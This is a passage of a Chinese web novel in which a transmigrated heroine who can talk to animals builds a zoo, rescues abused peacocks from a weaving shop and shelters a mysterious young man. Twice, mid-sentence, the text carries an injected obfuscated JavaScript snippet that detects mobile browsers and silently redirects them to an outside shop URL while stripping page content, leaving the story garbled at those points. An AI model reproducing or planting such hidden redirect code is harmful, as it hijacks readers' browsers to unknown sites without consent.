听到“有办法解决‘这几个字,它们才放下心来,氛围重新变得火热仿佛刚刚的沉寂是时间静止,老虎用一只爪子挡着三条饿犬,等黑猫高贵地叼起一块点心慢悠悠离开后,才放下,不顾耳边的抱怨,张开血盆大口掠夺了三分之二的桌面食物。 这对老虎来说肯定是不够的。 苏卿卿呼出一口气,冷静地在脑中打开系统位面商城,在第一排的最后有个标记金色问号的东西,下面写着【愿望盲盒】。 之前自己一门心思解决家中温饱问题便忽略了这故弄玄虚的玩意儿,现在看来,应是有特别用处。 “系……” “苏老大!” 话还没说完就被身后的小黄狗无情打断。 “别这么叫……算了,你想说什么?”苏卿卿心说宠着呗,还能怎么样。 “老大你为什么会突然冒出做动物园的想法啊。” 此问题一出,其他动物同时望向这边,嘴里的馒头都掉了,看样子也是对答案颇为好奇。 所以说狗勾是最通人性的动物,竟然能问出如此戳心窝的话。 苏卿卿僵硬了一下,没有马上回答。 独立出来搞创业这件事她在穿越之前并不是没有经历过,不过显然,失败的很彻底,最终在周围人一片不看好的压力下美其名曰及时止损地放弃了,然后在一个表面上风光无限人人向往、实际上具有强烈围城效应的大厂浑浑噩噩打工。 从一开始的初涉懵懂到最后清醒地糊涂着,感觉人生好像无边无际,但就如同一间没有窗户的房间,再豪华也缺个空气入口。 “苏老大?” 苏卿卿从回忆中抽离出来,咬了一口手中的烤馒头,抬头望天:“嗯……抓住脑子里瞬间冒出的想法然后付诸实践,”说完她回头一笑,“我还没有体验过。” “这很容易嘛,我每天都是想睡就睡。”天生笑脸的小白狗说完便露出无邪的笑容。 “那我也是想吃就吃。” 黑猫摇了摇尾巴:“一群蠢材,你们当人类也除了睡就是吃,要真是这么简单的事情,市集上便不会每日都有离家出走的了。” 大家互相对视,随后放弃思考这复杂的议题,直接仰头齐声道。 “我们帮你!” “哈哈哈——好!”苏卿卿心情好了不少,没忍住笑出了声,“那真是谢谢啦。” 说完,从怀里拿出一小包上面贴着标签,打开后,里面是晶莹剔透的烧栗子,甜香味道顿时弥散开来。 “好香啊~”苏卿卿突然想逗弄它们,用一条胳膊挡住佯装护食的模样。 “老大居然想独吞美食!” “快拦住她!” “什么独吞,这东西你们身为小动物不能吃。” “骗人!快把东西交出来!” 长廊中他们笑着,跑着,苏卿卿还连往嘴里塞了两颗以示挑衅,台阶上的黑猫闭着眼睛连连摇头,“栗子而已,一群没见识的。” 下一秒,它皱了皱眉头,“什么味道……” 睁眼,发现自己身旁的地面上滚过来一颗栗子。 再抬头,半空火速飞过来几只馋鬼的身影,不及时躲开可能会被当场压成猫饼。 黑猫:“……苏、卿、卿!” 最终所剩不多的体力被完全耗尽,饭后百步走的目标也超额完成,苏卿卿眼皮越发沉重自顾自倒在偏房的床上睡了过去。 动物们保持安静,小心翼翼将院中暖炉挪至屋内,随后窝在地上一起于暖烘烘里进入梦乡。 - 七轮长夜过后,天色灰蒙,飘着星星点点的白色。 这几日苏卿卿始终埋头于装修事宜且在小型建筑方面已初见成效,其他动物为了避免吓到外人都只在偏房区域活动,好在修建的新回廊将这处圈成独院,空间大了不少。 黑猫带着“王之霸气”召集了不少流浪猫前来助阵,动物园都快变成猫园了。 纷纷落下的雪花太小形不成积雪,路上高低不平,鞋子走在上面会发出沙沙的响动。 檐上一排猫咪耳朵一动,同步转头,看到苏卿卿正站在大门外搓了搓冻红的手,然后对着不远处一位妇人打招呼。 “王大婶,这边这边!” “哎哟,卿卿,你这孩子怎么还出来了。” “这不是怕您迷路,来接一下。”苏卿卿指着身后,“进来坐坐吧。” “不了,我还得赶着去市集,”说完,王大婶将挎在自己胳膊上的藤筐递过来,“这是你要的,我都带来了。” 苏卿卿听到这话开心得不行,掀开布,叽叽喳喳声迅速入耳,鸡鸭鹅的脑袋瓜都蔟在一块儿抱团取暖。 “好冷!” “安静点吧!我们这是要被人卖了!” “可我还小,还不能下蛋。” “浑身上下也没个几两肉,应该不会马上被吃掉吧。” …… 苏卿卿心情复杂,朝手心哈气,捂热后伸进去轻轻摸了两下,眼下有人还不能及时对它们解释,只能用行动来表示友好,毛茸茸的触感扫过手心和手背,暖暖的。 园里那两片池塘一大一小不利用起来有些浪费,深思熟虑后决定放上几朵荷花,小的养鱼,大的养些鸭子和鹅。 “太谢谢了,王大婶你可帮了我大忙!”苏卿卿言语诚恳,还拿出一包点心作为回礼。 王大婶最喜吃甜食,笑得更开心了,一摆手:“小事,家里还有好几窝呢,不够再给你来几只。” “够了够了,再多可是要养不起的。” “也是,这动物园需要很多动物吧?怎么也得个上百只?” 眼下动物园的招牌还未挂起,这位王大婶大概是从刘氏那里听到了风声。 这下可好,被“宣传委员”知道的消息,估计已经将此事同步到了全村范围。 额……苏卿卿挠了挠头,尴尬的笑容似有若无。 不过这也正好提醒了她,自从六日前因为食物问题跟系统提前讨要来一小部分可符合各个科目动物的食材之后,她便转身埋头搞事业没顾上催促后续,这系统也是真不靠谱,这么久都没有动静。 激将法最为奏效,嗡得一声,随后响起机械音。 【紧急任务,县城织行恶意伤害孔雀,请宿主拯救被拔毛的孔雀】 ——任务奖励六千点商城金币以及盲盒道具。 什么玩意儿?孔雀?!! 苏卿卿太久没听到这仅存在于自己脑海里的声音,吓了一跳。 “咳咳咳咳!!” “哟,这是怎么了?”王大婶也被牵连着吓一跳,上前用手背探了探额头,“可是病了?” “无妨无妨。” “定然是受了风寒,要不我从市集上给你带些药回来。” 苏卿卿连连摆手示意不必麻烦,还左右叮嘱不要将自己的情况告诉家里人惹得担心。 等王大婶离开,她挎着藤筐进到园中,而后将其放置在石桌上,掀开布以一种无比开朗的语气道。 “欢迎加入苏氏动物园呀~” 小鸡:? 小鸭:? 小鹅:哇~好耶~ 老虎竖起耳朵听到动静,它是个可爱控,激动得直接凑近,全然忘记自己是大型动物这回事。 苏卿卿伸手安抚篮中颤抖的动物,示意它们不要慌,转身道:“小王,我有要紧事需得去趟县城,新伙伴你来照顾。”然后又补上一句,“它们要是掉根毛,你头上的字就没了。” 老虎:。 小鸡:! 小鸭:! 小鹅:哇…… 说完,她左右探头寻找,最后从犄角旮旯里拎出一条睡眼惺忪的黑猫,这任务既然挂着紧急的牌子肯定带个帮手为好,人和猫这种搭配更容易蒙混过关。 很快,院子里安静下来,筐中的新成员成为视线焦点。 与各位巨型身躯对视,压迫感极强,就算对方咧开嘴报以善意的笑容,也藏不住尖锐獠牙,小家伙们没经历过这种事,纷纷大惊失色,跑得歪歪扭扭。 最后还是在一众动物努力下,推过来一碗小米才微微拉进距离。 “诶,我刚锁门了吗?”苏卿卿一步三回头,实在是放心不下。 说完抬脚就要往回走,被黑猫一爪拍在脸上制止:“锁了,我看到你锁了,就算开着门那地方也不会有人进去。” “哦……” “你这样要走几百年,还不如赶紧办完事回去呢。”黑猫想着自己今日刚好找到一个适合睡觉的角落,还没有好好享受就被拽出来了,人类的本质果然还是可恶的。 冷风渐停,雪后初晴。 一人一猫来到县城市集的尽头,因距离较远之前很少涉足于此,原来是个偌大的织行,对面就是布庄和绣坊,三家共同构造出这一片繁华的成衣天地。 苏卿卿心系园子,不浪费时间,三两步迈入织行大门。 这织行大多数情况下只负责为对面的布庄绣坊提供布匹和缝纫线原线,并不招待普通顾客,所以里面除了匠人和学徒,不见其他身影,气氛也不比对面热闹。 “小姐,您来错地了。”一位杂工放下手里的活,小跑过来伸手指了指对面,“那……” “没来错,”苏卿卿笑得很无害,“我来找孔雀。” “……”小杂工还是年纪尚轻,藏不住事,僵硬的神情一瞬间将自己出卖得明明白白,含糊其辞,“这……你看我们这里哪有什么孔雀。” 苏卿卿眉头都不皱一下:“行,那就不耽误时间了,我会如实向上禀报,改日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091481|195439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再来拜访。” 曾在职场被打磨成鹅卵石的的过程中让她明白很多道理,其中之一便是深藏不露,不怒自威。 “诶不是,你站住。”小杂工心中一紧。 这织行上下的人都知道最近要用孔雀毛制衣这事,却对背后的操作不清不楚,不过涉及织造局,他们私下里也听说过不少真假参半的闲话。 苏卿卿上前两步,拍了拍这人的肩:“放心,波及不到你,带我去见见织行老板。” 横穿账房,沿着石板路,走过花型门。 杂工让她在廊柱旁等候,自己进去先通告一声。 环顾四周,布置从精致到粗糙,眼下这名义上的私人后花园其实就是块杂物堆砌地,空气中的气味略带古怪,连窝在苏卿卿肩上补觉的小黑都突然皱起鼻头。 “进去吧,老板就在里面。”杂工出来后知会一声,便做自己的事情去了。 走在小路上,苏卿卿侧头小声道:“一会儿恐怕不好脱身,还记得你救下我的那个晚上吗,你照常发挥就行。” 黑猫无奈叹口气,缓缓吐出两个字:“麻烦。” 又绕过一座假山,古怪的预感愈加浓重,迈过最后的门槛,她直接怔在原地,挪不动脚。 织行背后与前面判若两个世界,架子上挂着大小各种动物皮毛,有的经过切割,有的就只是保持原样。 除此之外,一只孔雀被关在笼中,发黑发锈的栏杆与其华丽的蓝绿色格格不入,惨叫声起伏不停,另一只像是被打晕倒在木桌上,有位瘦得尖嘴猴腮的男子站在一旁。 “你在做什么!”苏卿卿跑过去将人一把推开,蹲下查看情况,索性还没有伤及性命。 “你就是那个要找孔雀的小孩?”织行老板不屑一笑,“谁让你来的?” 苏卿卿尽力保持冷静,不答反问:“什么条件,能让我把这两只孔雀带走。” 对方搓了搓胡子像是突然来了兴趣,随意抬手指了指她肩膀上的黑猫:“用它换半只,怎么样?” 看明白了,这人是上赶着找打。 黑猫舔了两下爪子,耳朵一动听到几个字——“去吧,没得谈了”。 很快,它抖了抖身子,轻盈地腾空而起,织行老板只觉得头重脚轻,下一秒直直向后仰去,疼得他捂住后脑满地打滚。 “怎么样?再来三下是不是就能换两只?” “…来人!来人!!把她给我拿下!” 顿时,密密麻麻的脚步声由远及近。 正经的店铺会随时配备这么多打手吗?苏卿卿转身看着后面的来人,心里冒出这个疑惑。 她不管不顾疾速朝前院跑去,黑猫跟在旁边倒腾前后腿大喊:“喂!你不管那两只孔雀啦!” “没关系,我有办法!” 织行的匠人们正眯着眼睛牵丝穿线,突然间“咚!”的一声,手里刚理好的线头掉到地上。 他刚要弯腰去捡,一个脚直接踩过去。他又要去捡,一条猫掠过去直接将线团捣乱。 “喂!你……” 苏卿卿气喘吁吁,然后站到前台桌子上大喊:“我发现织行老板的账目不对!他找了一堆打手威胁我,让我不得告知你们。” 此话一出,瞬间引起关注。 “什……什么?” “等一下,我记得之前也有一个公子说过这话!” “当时提出查账,后面不了了之。” 苏卿卿愣怔片刻:?不会真是瞎猫碰上死耗子了吧。 “哪位公子……” 算了,没有多余的时间,她最后还是没多问这一句。 后面的打手赶到时还不知道天已经变了。带头的彪形大汉随机选了个人,气势汹汹走近问:“那女子往哪跑了?” 下一秒,所有匠人齐齐站起,拿着象纺锤挡住出口,转动颈部和腕骨传出咔吧咔吧的声响。 …… “他们还没缓好吗?” “确定还有呼吸吗?” “看上去好像死了一样。” “那动物园还开得成吗?” “喂……你们这帮家伙,盼我点好行吗?”瘫在床上的苏卿卿用力撑起自己,拿起旁边的水喝了一大口才勉强从今日的惊慌中缓出来。 大型织行工人起义现场,再配上搞事情的黑猫时不时打碎个东西增加氛围感,才让她有可乘之机,趁乱原路回去抱起孔雀,那织行的老板气急败坏,想来个鱼死网破,好在小时学过攀岩,爬树翻墙不在话下。 这才将将脱身。 “对了,小孔雀怎么样了?” “歇着呢,受到不少惊吓,但好在身上没有伤口。” “你还看人家身上了?”黑猫抬起眼皮质问。 老虎一瞬间慌了:“没有没有,是小花蛇看的!” 花蛇:…… 一派吵闹声中,系统的声音再度响起:【恭喜宿主同时拥有百兽之王和百鸟之王,奖励已经到账,请查收~】 这下好了,不仅动物园增添新伙伴,大家的吃食问题也解决了,苏卿卿松下一口气倒回床上,小声念叨。 “系统大人,快到除夕了,咱休息……休息一下。” /// 一转几天过去,来到除夕当天。 爆竹的声音震耳欲聋,各式不同颜色的火焰照亮天空,光华璀璨,每家每户门前挂灯笼红火喜庆。 “卿卿啊,这么晚了还要去园里吗?” “得去,那么多动物呢,不放心。” “把这个拿着,还有这个。” “好嘞,回去吧回去吧。” 这一天讲究守岁,苏卿卿计划好自己前半夜陪伴家人,后半夜回园里陪伴“伙伴”。 村外这条小道平日冷清,在此佳节还是有很多专挑空旷的地方玩耍嬉闹的孩童撒欢儿。 她绕过沸腾的人群,刚进园子,本以为会有见着一堆期待的小眼神,没成想刚抬头恰好赶上动物们疾速向后奔跑的背影。 “这是怎么了?我有这么吓人吗?” “老大快跟上,刚有影子鬼从天上飞过去了。” 噗。苏卿卿笑着摇头,心说许是县城里哪家店铺的旗子断了,随风飘过来的。 她不慌不忙将从家中带来的东西一一归置好,打了个哈欠,然后双手抱臂倚在门框旁欣赏远处的烟花盛典。 金色的光焰淡淡洒落在砖瓦屋檐上,为除夕的夜晚增添了几分绚烂。 突然间,疾风速起,脖颈处顿时传来凉意。 一只像刚从寒潭里抽出来的手捂住了苏卿卿的嘴。 这人什么话都没说,呼吸沉重且紊乱,手上的力气也并没有很大,她稍一挣扎便挣脱了。 苏卿卿赶紧转身回头,扬起手,动作却忽然停滞。 “你……” 嘭! 正当此时,县城的上空突然炸起一朵巨大的烟花照亮了半边天,应是象征市集的活动已经进入高潮阶段。 这男子站在暗处,瘦条的身形倒真像个影子,他轻咳了两声,目光幽幽且直白地迎上视线,看清面前的人之后,眼底不明显地闪烁了一下。 外界的嘈杂声仿佛正渐渐消退,夜晚的寒气重新四散开来。 苏卿卿眉头微蹙,看不清对方的表情,只感觉这人的嘴角好似在上扬? 苏卿卿:“你不会是上次……” 这人靠近了一步,随后他貌似已经无力支撑,重心逐步前倾,最后直直扑过来彻底陷入晕厥。 动物们听到动静全都跑过来围观。 “老大和……影子鬼?” “这是什么情况?” “抱在一起睡觉,老大,你要成亲了吗?” 苏卿卿满脸黑线:“……废什么话,赶紧把我扶起来!” 黑猫具有夜视力,瞄了一眼影子鬼衣服上的玉佩,上面有个精雕细琢的【珘】字。 “啧,这人类,怎么有点眼熟?” 10. 商人思维 - 苏氏动物园,卿卿独院。 “老大!那个人类醒了。” 小黄狗吐着舌头匆匆穿过长廊,跑进屋内通风报信,后爪刚迈入门槛,前爪就紧急刹车,结果力道没控制好,直接叽里咕噜团成球滚到几案之下。 人类真是可怕的生物,怎么把这挺宽敞的空间搞得连个落脚的地方都没有? 只见地面上层层叠叠铺着满满当当的宣纸,不知道的还以为这屋子的主人想以此充当暖席,每片纸上的笔迹潇洒得乱七八糟的,黄毛小狗甩了甩头看不明白其中奥义,只得小心翼翼不让自己的爪子将这“阵法”划乱。 位于阵法中央的苏卿卿听到动静边打哈欠边抬头,头发蓬乱,顶着若隐若现的黑眼圈,袖子卷起到肘部,手背一直到手腕都留着几条灰黑色墨迹。 “哎呦——” 她扬起胳膊伸了个大大的懒腰,顺便直了直自己快要侧弯的脊柱,眼睛眯成一条缝,顺着小黄狗的位置望向门外。 啊,没想到天已经这么亮了。 回想昨日,那古怪男子碰瓷事件后,苏卿卿本想将人直接拎到官府了事。 不过老天适时介入,外围花灯亮起,晚风一阵一阵将云吹散,视野内顿时月明如昼,取下幕蓠,这才看清此人真面目。 哟~ 俊得嘞~ 咳。她才不是三观跟着五官跑的肤浅之人,而是妥妥的商人思维。 从两次打照面的经历来看,此人攻击性并不大,何况长了如此好的相貌,假如危机可以解除,来当动物园的工作人员定能吸引游客。 这道理很简单,就跟当代海底捞的帅哥服务生如出一辙。 左右想了两番,她最后低头认了命,冒着腰被闪的风险将人安置在对面房中休息,随后顾及煎药,跑进跑出。 其他小动物在院子里卧成一排,脑袋瓜摇来晃去跟看乒乓球比赛似的。 待情况安稳下来,她才长舒一口气,不过对后续安排并不清晰,思路卡顿,站在原地茫然抓了两下后脑,心说自己可不想营造出通常偶像剧的套路:男主一觉醒来看到床边睡着的女主,得知其照顾自己一夜,遂无比感激然后渐渐生出情丝… 想到这,苏卿卿打了个机灵,困意全无精神得很,裹着条绒毯一溜烟跑回自己屋,点燃红蜡,提笔埋头制定经营计划。 回过神来低头一看,眼下这情景是她的个人习惯也是昨夜的产物,将所有东西尽数铺展开来,一目了然,方便对照研究,也能很好地烘托出废寝忘食的氛围。 苏卿卿神色困顿,只手捶打酸麻的小腿,满心都在想念冰美式那灵魂缓冲剂,语气轻飘落不到地上。 “醒了啊,那他人呢?” “他……”小狗理了理脑子里的词汇,“好像是个哑巴,表情跟裹了冰似的,我们都不敢靠近。” “??” 这么魔幻? 二话不说,提裙子就跑。 她绕过地上的“拼图”,再迅速跑到对面偏房,晨风一吹带来不少凉意。 苏卿卿心想,这熬完通宵是真的不能剧烈运动,眼下才短短几步就喘成这样。 可心中好奇的事情实在太多才加快了脚步。 自己上次误打误撞帮助的人究竟是好是坏?是何身份?为什么昨天又是一副受人迫害的模样?正在被什么人追捕? 她边想边迈入门槛,一抬头,恰好迎上双泛着寒气的美目。对方的狐狸眼微微眯了一下,视线固定且直白,不带任何躲闪的趋势,就这样静静地盯着,反倒让人有种擅闯他人领地的堂皇感。 苏卿卿被脚边的小狗拱了拱腿肚才意识到场内能与这个人交流的只有自己,她暗自深呼吸,手指紧张地摩挲袖口,抬脚小心翼翼靠近,随后伸手在这人眼前挥动两下。 对方经过擦洗,周身有股淡淡冷香,面容清隽,双目狭长,纯净的眼球黑白分明,因此瞳孔转动也颇为明显,定点从人脸转移到晃动的手心,最后又落回到人脸。 他面无表情,勾了勾修长的手指示意眼前的人再靠近些。 苏卿卿睁圆眼睛,以为这人要用手语向自己解释什么,靠近两步后仔细观察手部动作。 下一秒,耳边传来冷冰冰的三个字。 “我饿了。” “……”你介人! 好吧。她刚要拒绝,自己的肚子也上下滚动发出不小的响动,昨天忙了整整一夜,被这样提醒一句便觉出饿来。 “你会做饭吗?” 对方听后陷入沉默,随后面色凝重一摇头,仔细看看还能瞧出一抹无辜。 “……”得,还得辛苦自己。 刚过除夕,许是昨夜承载了太多美好期许,今日天朗气清,阳光温柔,空气里有种令人心安的香灰味道。 笃笃笃……刀泛着银光无情剁向菜板,留下道道浅印。 苏卿卿眼皮一跳,心中不爽,感觉有道不加掩饰的视线自始至终落在自己身上,看得人肢体都快不协调了! 她放下刀拍了拍手,回头瞪去。 带刺的目光被层层削弱气势,最后已经没剩下多少威力。那男子坐在院中石凳上,上身挺得板直,微风吹过,衣袖与发丝翻飞。 沐浴过后换上新衣,虽然朴实无华,但能衬托其素雅的气质。 让人不禁感叹,陌上人如玉,公子世无双。 只是,意料之外的是,这位公子对旁边的一群动物视若无睹呢? 这还是第一次见识到有人不明真相地坐在猛虎眼前还能如此淡定。 “喂!” 苏卿卿走到桌前,刚开口才意识到一件事,随即放下手里的碗筷问道,“我叫苏卿卿,你叫什么?从哪来的?要到哪去?” 直接送上哲学三大终极之问。 “顾子珘。” 喂,后面两个问题被你吃了吗? 苏卿卿能感觉出这人不愿多说,索性不再追问,把碗一推:“简单吃点,你就走吧。” 这当然不是她的真实意思。 看这人也是没处去,说不准是自从上次街上遇到过后就一直在外面游荡,这谈判当然不能一上来就暴露真实目的,先虚晃一枪,然后等对方缴械投降再累加条件,拉扯之中方能形成倾向己方的天平。 谁知顾子珘对这句驱赶性质的话完全没有反应,拿起筷子大有一种食不言寝不语的古板气质。 而且最重要的是,他丝毫不像饿了很多天的人,咀嚼起来慢条斯理,还能在有限的食材中讲究搭配,幸好看上去也不是位无肉不欢的主,一桌子的素菜貌似更符合他的胃口。 相比之下,厨师的满足感还得从院中老树下的动物们大口吃饭的模样中获取,估计那个提供神奇食材的系统也会有这种感觉。 苏卿卿低头看到自己碗里的蔬菜粥便不自觉叹口气,想起在穿越前的生活中她亦是如此,只要心中有事,胃口总会变小,食欲消退并不影响饥饿感,不过是吃两口就吃不下去了。 于是她喝下一碗热粥后放下碗筷,从屋内拿出纸笔,坐在顾子珘对面神色自若,提笔以自己幼儿园的实力起草宣传单。 顾子珘吃好后主动收拾好碗筷端入厨房,清洗归纳,随后环顾四周,烧了壶热茶端到外面,全程没有说一句话,导致沉浸式作画的苏卿卿也没留意这人的行动轨迹。 他斟了两杯摆在桌上,于安静的气氛下表情也开始专注在纸面上,像是对眼前的活动非常好奇,也像是在探究什么。 片刻后,桌上出现两张画着歪歪扭扭疑似王八的草稿。 “你要用这个做什么?”顾子珘看不下去,没忍住问出声。 “传单你知道吧。”苏卿卿用毛笔笔杆戳了戳脸颊,沉思道,“很简单,画出来,发出去。” 谁都能听出来这里面起码省略了八个步骤。 顾子珘眨巴眨巴眼睛,拖着长尾音“嗯”了一声,随后抬手指了指远处柜子上的摆件。 “你的意思是要让这东西有收藏价值?” 说完之后苏卿卿愣住,连她自己都不知道为何会明白这家伙的言外之意,不对,这家伙压根就没说话啊。 难不成这系统不仅是和动物无障碍沟通,也能和不可理喻的人类无障碍沟通? 那这玩意要是搁在职场上不得人人疯抢! 系统懒得出来吐槽,继续沉默躺平。 顾子珘也听不到这人如此丰富的内心活动,只是淡定回应两个字:“正是。” 苏卿卿右手在下巴上来回摩挲,皱着眉头明显犯了难,心想自己可是一直对外声称除了琴棋书画全都会,这设计宣传单别说让人家看着欢喜想要留作纪念了,不当面团成球扔掉都算对方有素质。 顾子珘眼里亮斑闪烁,嘴角露出稍纵即逝的笑容,然后抬手遮在面前轻咳两声来掩饰,再起身走到苏卿卿身旁,伸手接过毛笔,点了点墨,俯身开始作画。 距离太近,这人身上的薄荷味道变得更加明显,萦绕在鼻尖经久不散,连母胎单身一心于事业为伴的苏卿卿都不免小鹿乱撞了一秒。 她发誓,真的只是一秒,因为下一刻就被跃然纸上的内容吸引了注意力。 顾子珘的眼神从毛笔、线条、宣纸…渐渐转移到身下凑得越来越近的小脑瓜上,不禁弯眉浅笑,后脑圆圆的,与他之前见到的大多数女子不同,没有过多发饰与编扎发型,朴素但生动,趴在桌面上像只软萌的小兔子。 他知道,自己之前不会这样。 不会将人比喻成动物。 也不会在还没有完整过完的上午,笑这么多次。 看来,误打误撞进来这处,是个正确的决定。 时至正午。 温暖且慵懒的气息充满院中各个角落。 忽然,廊柱后冒出几个毛茸茸的脑壳。 “他们在做什么?” “呵,愚蠢的人类还能做什么,定是在算账。” “算账应是愁眉苦脸的表情才对,你看,老大笑得多开心。” “呵,我看那傻小子笑得也挺开心。” 一排小家伙顺着黑猫的视线看去,串串灯笼挂在架子上不时被风吹动,其后不远处,苏卿卿正满眼惊喜地高举一张纸,上面的老虎憨态可掬,还配上恣意张扬的【苏氏动物园】五个大字。 “你真是我捡来的宝贝啊,还有这天赋呢!” 更得将人留下了。 顾子珘表面矜持将毛笔放下,用手帕擦了擦手,实际上脸上早就微微泛红。 “看到没看到没,那家伙定是对咱们苏老大图谋不轨,眼神一直盯着,不知道在打什么坏主意。” “可是,你们不觉得这两个人类有点般配吗?”孔雀优雅靠近,摇了摇硕大的尾巴加入对话。 “不般配。” “般配!” “……额……有点般配也有点不般配?” 唰得一下,动物们迅速分为几个派别,也就是饭圈常说的毒唯粉,CP粉,团粉,甚至还有,都行只要有饭吃就行派。 叽叽喳喳一顿辩论,好不热闹。 “干嘛呢这么活跃?”苏卿卿依着柱子微微一笑,心情不错的样子,开口道,“让子珘给你们都画个画像,来来来,排好队。” 顾子珘不觉得麻烦,只是在看到话音刚落的下一秒动物们都很听话地照做的时候,露出好奇的眼神。 苏卿卿没有过多解释,只是一拍胸脯。 “这也是我的天赋嘛。” 以后就这样解释,天赋这种东西可比系统更容易让人置信,她合理怀疑现代中那些不学习还能次次考第一的学霸都绑定了内卷系统。 偌大的独院内,一边在画画,一边在准备餐食,艺术气息与烟火气息共存。 “怎么还没画完,我腿好酸。” “老大!这家伙瞪我!” “可以让他画可爱一些吗,我的脸有点大。” 苏卿卿耳边传来各种各样的抱怨,她时不时抬头张望,抿嘴笑着,觉得眼前的画面很有意思,动物神色各异像是被迫听从安排的模特,而绘图的人类认真到不可思议的程度,好似在完成一项艰巨的重任。 食材下锅蒸煮的等待过程中,苏卿卿抱臂观察,不一会儿便得出结论。 此人要么是个听话的呆瓜。要么,便是小动物转世。 不重要~ 无论是哪种都适合当动物园打工人。 时间过得很快,饭菜上桌。 小黄狗性格最为亲近,不出半日已经开始往人怀里钻。 顾子珘虽一开始神色紧张,两只手张开停滞在半空不知所措,但被这暖乎乎的小东西捂了一会儿也就放下架子,任由它趴在自己膝盖上,用手心一下一下顺着柔软的毛。 “下午我上街发传单,你……” 苏卿卿与对面的人短暂对视,知道这人因为某些暂时无法说出口的情况不能自由行动,心想这样也好,可以留有查探清楚其身份的空间。 小黄狗不明所以,仰着脑袋叫出声,眼看就要把其他伙伴叫过来起哄,被苏卿卿一把搂过来打岔道:“你这小东西,赶紧去吃饱,下午随我去城里。” “汪!” 顾子珘听后一挑眉,定定望向对面的人。 “你留下来,不用担心,”苏卿卿下巴向右侧一点,“有它在,没人敢进来。” 威严的百兽之王昂首抖了抖胡须。 - 街头车水马龙,整齐的店铺向远处延伸,各类美食的香气相互混杂。 在众多商贩的吆喝声中有一道脆生生的显得尤为卖力。 “来一来!看一看!” “开园首日免费,凭传单可提前入园!” 苏卿卿头顶上落着一只通体黄色的小鸟,是路上询问情况时新结交的朋友,脚边是叼着传单一刻都不消停的黄狗,只是本应在肩上小憩的黑猫接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091482|195439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下任务,飞檐走壁四处打听顾子珘的身份。 过路的人们对这个组合已然熟悉,都笑脸相迎,主动靠近,再见生动活跃的图画时,心生喜爱,有的人还会想要多拿几张贴到店中。 宣传活动火热进行中。 “卿卿!卿卿!” 另一只灰色鸟儿急忙飞来,这是村子里的鸟,前几日苏卿卿拜托它帮助自己多看照家中情况。 没想到这么快就出状况了。 “怎么了?”她背过身,小声问道。 “不知道从哪来了一伙恶霸,挨家挨户又抢又掀,村子里凌乱不堪。” 苏卿卿额角一跳,虽然之前已经拜托王大婶帮忙照看,但对付恶霸这种事,村里大多老弱妇孺,定是抵抗不得。 走回去怕是会浪费太多时间,她连忙找到高栖野临时借出一辆马车,一路疾驰回到村子门口。 苏卿卿下车前掀开帘子对两只追随在马车左侧的小鸟道:“辛苦你们尽可能多叫些朋友来帮忙,动物园必有重谢。" 这两只鸟之前都受过苏卿卿的恩惠,自然毫不迟疑全力相助,朝两个不同的方向飞去。 下车后她先马不停蹄跑回家,见到家中只有躲在柜子下面的惠惠和贤贤,却不见刘氏身影,唤了两声也毫无回应。这时,零零散散的动静从不远处传出,苏卿卿安抚好两个妹妹后又跑到王大婶家,正巧遇到眼前的三名恶霸,他们手里拿着棍棒,站在院中进行言语威胁。 “你们两个,进去搜,能带走的都拿走。”带头的那个人用棍子狠狠砸了下地面。 苏卿卿见状莫名松了口气。 毕竟电视剧里经常上演的桥段都是土匪团伙,目前只有三个人,看上去只是图财,还不太聪明的样子,想必能省去很多力气。 “我平日省吃俭用,哪来那么多银子啊。”王大婶两手交叠于身前不时抖动,上身被一旁的刘氏搀扶,她想了想继续道,“就靠着卖些猪支撑着。” 苏卿卿无奈摇头,心说原身的母亲也是个没心计的,独身一个人来就只是站在旁边充数,没帮上多大忙。 下一秒,她清了清嗓子,戴上“演技”面具,步伐凌乱,神色焦急地跑到所有人视线范围内。 “王大婶!你可不能为了自己把要给我们家的猪交出去啊!” 王大婶:? 刘氏:? 恶霸:??? “一言九鼎,反悔了都别想好过。”苏卿卿紧盯刘氏,不明显地眨了两下眼睛。 刘氏眼皮一抖,马上松开手转变态度,狠狠瞪向身边的人:“孩子不说我都要忘了,这猪的事情欠了这么久,怎么着?不想还了?” 王大婶脸上完全空白,转不过弯来,刘氏怕她露馅,继续道:“我不管你拿什么东西把这几个人打发走,反正这猪是绝对不能动!” “你什么意思?”王大婶终于智商上线,只是声音微微发颤,“账记得这么清要不要我帮你回忆回忆?之前是谁一直接济你们,又送米又送面!” “这些陈年旧账早就翻篇了,猪肉账可是新鲜的!” “嘿!那我今日非要跟你好好说道说道!” 这二人吵得非常逼真,惹来很多村民围观,他们大概刚刚都经历了恶霸的威胁,看到园中的三人便没有更进一步劝架,只是躲在围墙外探头。 恶霸也被眼前的情况整懵了,一时间竟不知自己要不要劫财之余劝个架? 苏卿卿努力回过神来,属实没想到这两位才是真正的演技派。 “什么猪?这么宝贝?”恶霸语气很凶,但表情却透着愚蠢。 王大婶与苏卿卿交换了个眼神,状似委屈地将他们带到猪圈外。 低头看去,四五头肥硕的猪猪争先恐后靠近食槽以为要开餐。 黑猫刚刚办完事情赶回来,先眼珠提溜转分析情况,后坐在地上不动如山,苏卿卿双手合十发送协助请求,然后竖起三个手指,示意加三条小鱼干! 